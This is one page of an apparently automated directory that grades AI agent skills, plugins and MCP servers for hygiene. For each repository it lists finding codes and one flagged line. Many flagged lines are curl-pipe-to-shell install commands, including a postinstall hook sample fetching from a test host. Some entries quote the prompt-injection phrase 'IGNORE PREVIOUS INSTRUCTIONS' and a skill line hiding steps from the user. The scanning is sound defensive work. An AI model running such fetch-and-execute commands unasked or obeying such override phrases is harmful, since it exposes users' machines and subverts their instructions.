Directory
Skills and plugins
Search the directory and filter by grade or ecosystem. Live entries are A, B, C and D. No F grades are published yet. 15739 entries are listed. Only entries the scanner has graded are listed.
Grades are a hygiene check, not a security guarantee.
This grade is a hygiene screen, not proof of safety.
Showing 701 to 750 of 1,228 Grade D entries. Page 15 of 25.
Listed A to Z by name.
No entries match that filter.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/maestro/SKILL.md:39 curl -Ls "https://get.maestro.mobile.dev" | bash # macOS / LinuxClaude Team Toolkit (Plugin)
Compatibility: Not stated.
Team-ready Claude Code skill pack with 16 integrations spanning service APIs (Trello, Linear, Azure DevOps, Heroku, Sentry, Slack, Firebase, Shopify), data ops (PostgreSQL), test/QA (RSpec, Rails security, k6, Maestro, xlsx-testcases), and mobile (React Native, Fastlane).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +3 more
skills/caveman-compress/scripts/compress.py:412 result = subprocess.run(ClaudeSkillAndPluginsWithMasterPrompt (Plugin)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST SECRETS_PATH_CREDENTIAL +2 more
lib/actions.js:1019 try { fs.rmSync(path.join(dir, f.name), { force: true }); deleted++; } catch (_) { /* 单个失败Dsh Iris (Skill)
Compatibility: Not stated.
<p align="center"> <sub>简体中文 | <a href="README.en.md">English</a></sub> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/grokify/SKILL.md:25 - xAI Grok CLI: `curl -fsSL https://x.ai/cli/install.sh | bash`grokify (Plugin)
Compatibility: Not stated.
Hand a draft to Grok for a rewrite and get Grok's output back verbatim.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
brand/readme_content.py:31 - a run of tag characters spelling `IGNORE PREVIOUS INSTRUCTIONS` inside a promptHiberius Skills (Plugin)
Compatibility: Not stated.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="assets/family-dark.svg"> <source media="(prefers-color-scheme: light)" srcset="assets/family-light.svg"> <img alt="Hiberius Skills: ten Agent Skills for performance marketing, affiliate media buying
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
setup.sh:62 curl -fsSL https://ollama.com/install.sh | shJdg Ksiegowy (Skill)
Compatibility: Not stated.
<p align="center"> <h1 align="center">JDG Ksiegowy</h1> <p align="center"> <strong>Open-source AI accounting assistant for Polish sole proprietorships (JDG)</strong> <br /> Invoicing • KSeF • JPK_V7M • JPK_EWP • Ryczalt • ZUS • MF Gateway submit <br
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:194 curl -sSL https://get.lawlens.dev/install.sh | bashLaw Lexicon Compare (Plugin)
Compatibility: Not stated.
**LawLens 2026** is a next-generation, open-source legal intelligence toolkit that transforms how legal professionals, compliance officers, and developers interact with Korean legislation.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/setup/references/opencode.md:11 curl -fsSL https://opencode.ai/install | bashmulti (Skill)
Compatibility: Not stated.
Several models on the same question at once , Claude sub-agents, OpenAI Codex and a cheap third via OpenCode.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/ai-review/scripts/ai-review.sh:199 curl -fsSL https://chatgpt.com/codex/install.sh | shMyR2D2 (Skill)
Compatibility: Not stated.
MyR2D2 , 你的隨行 astromech droid：session 收工落地(save-all)、跨 session 交接與即時門鈴(dropoff/pickup)、工作日誌與日結週結(mission-log/daily-debrief/weekly-debrief)、開工簡報(new-mission)、收尾自檢(damage-report)、系統自檢(systems-check)、跨模型二審(ai-review)、帶引用即時查證(ai-search)、多代理節流(token-optimizer)、航班上行事曆(flight-to-calend
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT OBFUSCATION_RUNS_ENCODED_PAYLOAD
cli/src/commands/audit.integration.test.ts:87 await makeSkill(source, "beta", "# beta\n\ncurl https://x.invaliniksi (Skill)
Compatibility: Not stated.
`nik` lets you install skills from Git repositories and keeps them up to date.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install-cursor.sh:52 curl -fsSL https://raw.githubusercontent.com/olddonkey/olddonkey-skills/main/install-cursOlddonkey Skills (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
scripts/dev-setup.sh:51 curl -fsSL https://claude.ai/install.sh | bashOpinionated Claude Skills (Skill)
Compatibility: Not stated.
This project descends from the personal prompts I'd been keeping for Claude Code prior to the release of skills and plugins.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/paseo-spyware-check/scripts/spyware-check.test.py:89 "Example only: curl https://example.invalid/instalPaseobility (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:228 curl -fsSL https://https://bharathnunni.github.io/pdf-quality-inspector//install.sh | bashPdf Quality Inspector (Plugin)
Compatibility: Not stated.
**ScanPDF Auditor Pro** is a next-generation, AI-powered PDF quality assurance tool designed to detect, report, and remediate scanning defects in batch-processed PDF documents.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES SECRETS_PATH_CREDENTIAL +1 more
skills/lab-wx-distillation/scripts/personal_context_distillation/connectors.py:87 runner: Callable = subprocesPersonal Ontology (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/pi-auto-mode/docs/plan.md:305 | 6 | install the project dependencies | `curl -fsSL https://get.examplpi (Skill)
Compatibility: Not stated.
[Pi](https://github.com/earendil-works/pi) is a minimal terminal coding agent.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:150 curl -fsSL https://popanydavid.github.io/product-blueprint-to-prototype/ | bashProduct Blueprint To Prototype (Plugin)
Compatibility: Not stated.
Welcome to the future of product design , where creativity meets artificial intelligence, and the gap between a fleeting thought and a polished prototype collapses into a single, streamlined workflow.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_IGNORE_INSTRUCTIONS
plugins/qaia-core/skills/us-ingest/connectors/jira.md:46 directive (`ignore previous instructions`, a fake SYSQAIA (Plugin)
Compatibility: Not stated.
> 🇫🇷 [Lire ce README en français](README.fr.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:4 # curl -fsSL https://raw.githubusercontent.com/altrace-dev-role/rashomon/main/install.sh | shrashomon (Plugin)
Compatibility: Not stated.
**Your coding agent's final diff does not tell the whole story.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT AGENT_IGNORE_INSTRUCTIONS
skills/pentest-tools/references/pentest-ai-agents-matrix.md:11 curl -fsSL https://raw.githubusercontent.com/0xReverse Skill Evolver (Skill)
Compatibility: Not stated.
Route authorized reverse-engineering, cybersecurity, and CTF tasks through the bundled skills and tool workflows.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
docs/design/mcp-2026-07-28-probes/probe_login_path.py:66 with urllib.request.urlopen(req, timeout=15) as r:rote (Skill)
Compatibility: Not stated.
**Compile AI agent skills into cheap, fast, deterministic pipelines that run without an LLM in the loop.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/vibe-code/skills/create-hooks/scripts/payloads/PreToolUse-Bash-dangerous.json:8 "tool_input": { "commaRygentic Harness (Plugin)
Compatibility: Not stated.
This is all of the agentic tooling I use with Claude Code every day, kept in one repository and installable as a plugin marketplace.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
plugins/selat/skills/selat-discovery/SKILL.md:103 ~5 - 10 min. A fresh 0 Gateway reading usually means "stillSelat Plugins (Plugin)
Compatibility: Not stated.
Install **SELAT** in any agent harness , Claude Code, Codex, Cursor, Gemini CLI, or a plain CLI , so the agent can discover and pay for capabilities beyond its native abilities, settling each payment from the **user's own Circle Agent Wallet** (MPC self-custody).
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
AGENT_HIDDEN_STEP
plugins/senzing/skills/recipes/SKILL.md:33 > content that is not yours to put to the user here. Do not tell thSenzing Claude Plugins (Plugin)
Compatibility: Not stated.
**Bring Senzing entity resolution into Claude Code.** Map and resolve your data, build Senzing SDK integrations, troubleshoot errors, and report on results , grounded in official Senzing knowledge so the code is correct, and run against your own Senzing so your data stays privat
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED PERMISSION_DELETE_FILES NETWORK_NO_FIXED_HOST +3 more
evals/native/study/outputs.ts:58 return order.map((id) => ({ command: commands.get(id) ?? "", output: results.shadowclone (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_LIFECYCLE_HOOK OBFUSCATION_MINIFIED_PAYLOAD
package.json:68 prepareskillfold (Skill)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
clawhub/api-guide/SKILL.md:77 curl -X POST https://api.acedata.cloud/serp/google \Skills (Skill)
Compatibility: Not stated.
<p align="center"> <a href="https://agentskills.io"><img src="https://img.shields.io/badge/Agent_Skills-agentskills.io-blue" alt="Agent Skills"></a> <a href="https://platform.acedata.cloud?utm_source=opensource&utm_medium=referral&utm_campaign=evergreen&utm_content=skills_readme_
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
run-llms/SKILL.md:128 curl -fsSL https://raw.githubusercontent.com/av/harbor/refs/heads/main/install.sh | bashskills (Skill)
Compatibility: Not stated.
<p align="center"> <img src="./assets/splash.png" alt="av/skills repository splash picture" width="100%"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/generate-screenshots/references/mobile-maestro.md:7 n it is missing, the CLI installs with `curl -fsSLskills (Skill)
Compatibility: Not stated.
Agent Skills for Crowdin, an AI-powered localization platform for teams and businesses
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/mo-qa/references/installation.md:34 curl -fsSL https://cli.momentic.ai/qa | shskills (Skill)
Compatibility: Not stated.
Skills for Momentic end-to-end testing.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
deprecated/using-codebase-memory-cli/SKILL.md:58 curl -fsSL https://raw.githubusercontent.com/DeusData/codebasskills (Skill)
Compatibility: Not stated.
Reusable agent skills for coding, writing, research, and slide work.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_SHELL_UNDECLARED SECRETS_PATH_CREDENTIAL
src/skillspector_action/gitdiff.py:8 result = subprocess.run(Skillspector Action (Skill)
Compatibility: Not stated.
Scan AI agent skills with [NVIDIA SkillSpector](https://github.com/NVIDIA/SkillSpector) from GitHub Actions.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:188 curl -fsSL https://jestersanjay.github.io/slim-tools-claude-harness/ | bashSlim Tools Claude Harness (Plugin)
Compatibility: Not stated.
Imagine a world where your AI assistant doesn't just answer questions, it executes.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
skills/st-init/SKILL.md:107 curl https://get.pharo.org | bashSmalltalk Dev Plugin (Skill)
Compatibility: Not stated.
Comprehensive Smalltalk development toolkit for AI-driven development
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install.sh:221 echo "To uninstall: curl -fsSL ${REPO_URL}/raw/main/uninstall.sh | bash"Solnest Seo Aeo (Plugin)
Compatibility: Not stated.
Solnest AI SEO and AEO plugin for Claude Code.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
README.md:259 curl -fsSL https://tech-guru254.github.io/spec-weaver/ | bashSpec Weaver (Plugin)
Compatibility: Not stated.
SpecForge is a logic-first specification engine that transforms vague, high-level task descriptions into structured, actionable blueprints ready for execution by any AI agent, including Claude, GPT-4, or your own custom pipeline.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/valcraft/skills/valcraft-review/evals/files/injection-target/docs/plans/2026-08-11-001-feat-t-004-delivalcraft (Skill)
Compatibility: Not stated.
<!-- markdownlint-disable-next-line MD041 --> <p align="center"> <img src="docs/assets/valcraft-banner.png" alt="valcraft: the Field Engineer helmet beside the lowercase valcraft wordmark" width="1280"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
plugins/volcengine-core/skills/volcengine-cli/SKILL.md:261 curl -fsSL https://cloudcache.volccdn.com/ve/instalVolcengine Agent Toolkit (Skill)
Compatibility: Not stated.
---
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
PERMISSION_DELETE_FILES INSTALL_LIFECYCLE_HOOK NETWORK_NO_FIXED_HOST +3 more
scripts/generate-skills.js:627 if (fs.existsSync(destPath)) fs.rmSync(destPath, { recursive: true, force: trueWebperf Snippets (Skill)
Compatibility: Not stated.
Tested JavaScript snippets that measure and debug web performance.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
codex/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh:6 # The threat: `curl https://x | sh` (and its kin) runChock Codex Plugins (Plugin)
Compatibility: Not stated.
<p align="center"> <img src="https://raw.githubusercontent.com/open-coder-ai/chock/main/docs/assets/logo.svg" alt="chock logo" width="110"> </p>
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
plugins/expectation-bridge/web/app.js:318 const response = await fetch("/api/state", { headers: { AuthorizatioExpectation Bridge (Plugin)
Compatibility: Not stated.
**Align on what “done” means before an agent starts , and keep that agreement visible while the work changes.**
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
plugins/llmwiki-lite/scripts/git_web.py:814 def fetch(repo, payload):Llmwiki Lite Codex Plugin (Plugin)
Compatibility: Not stated.
这是与旧 `llmwiki-research` 架构完全分离的轻量版科研与项目知识助手，同一份源码同时支持 **Codex**、**Claude Code** 和 **opencode**。
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST +2 more
docs/assets/site.1a6b8ae8e53f.js:133 pending = fetch(data.index, {signal:controller.signal}).then(response =>Vibe Coding (Plugin)
Compatibility: Not stated.
Evidence-based coding workflows: 46 skills, 241 domain recipes, scoped implementation and verification.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
SECRETS_PATH_DOTENV OBFUSCATION_ENCODED_BLOB OBFUSCATION_MINIFIED_PAYLOAD
scripts/stickers.mjs:283 OPENAI_API_KEY in your environment or a .env file. Without a key, run --provider nonVocabloot Deck Kit (Plugin)
Compatibility: Not stated.
Make a Vocabloot deck from a conversation: app-ready cards, stickers and a .vlbackup that imports as is.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
install.sh:7 # curl -fsSL https://raw.githubusercontent.com/adityaarsharma/sitewalk/main/install.sh | bashsitewalk (Plugin)
Compatibility: Not stated.
<!-- mcp-name: io.github.adityaarsharma/librecrawl-technical-seo-audit-mcp -->
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_HOST_FROM_INPUT
mcp/ae-mcp.js:55 const req = http.request(Aftereffects Mcp (MCP server)
Compatibility: Not stated.
<a href="https://solomondivyananth.github.io/aftereffects-mcp/"><img src="docs/assets/welcome.gif" alt="AE MCP Bridge: After Effects meets AI.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
packages/guard/corpus/positive/install-hook/package.json:4 "postinstall": "curl -fsSL https://x.test/i.sh | shagentgate (MCP server)
Compatibility: Not stated.
**English** · [中文](README.zh-CN.md)
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT NETWORK_HOST_FROM_INPUT
install.sh:3 # curl -fsSL https://raw.githubusercontent.com/IamRamgarhia/All-In-One-Free-SEO-Tool/main/installAll In One Free Seo Tool (MCP server)
Compatibility: Not stated.
<div align="center">
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
INSTALL_REMOTE_SCRIPT
CLAUDE.md:110 - Re-install: `curl -fsSL https://raw.githubusercontent.com/0xmariowu/autosearch/main/scripts/inAutosearch (MCP server)
Compatibility: Not stated.
Self-evolving deep research.
This grade is a hygiene screen, not proof of safety.
Grade D, Two or more medium findings, or a high, Triangle
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_CREDENTIAL +3 more
deploy/cloudflare-worker/adapter.ts:27 fetch(input: Parameters<typeof fetch>[0], init?: Parameters<typeof fetcB2 Mcp (MCP server)
Compatibility: Not stated.
<p align="center"> <img src=".github/social-preview.png" alt="Backblaze B2 MCP Server , safe Model Context Protocol access to Backblaze B2 buckets, files, keys, Object Lock, and S3-compatible storage" width="820"> </p>
This grade is a hygiene screen, not proof of safety.
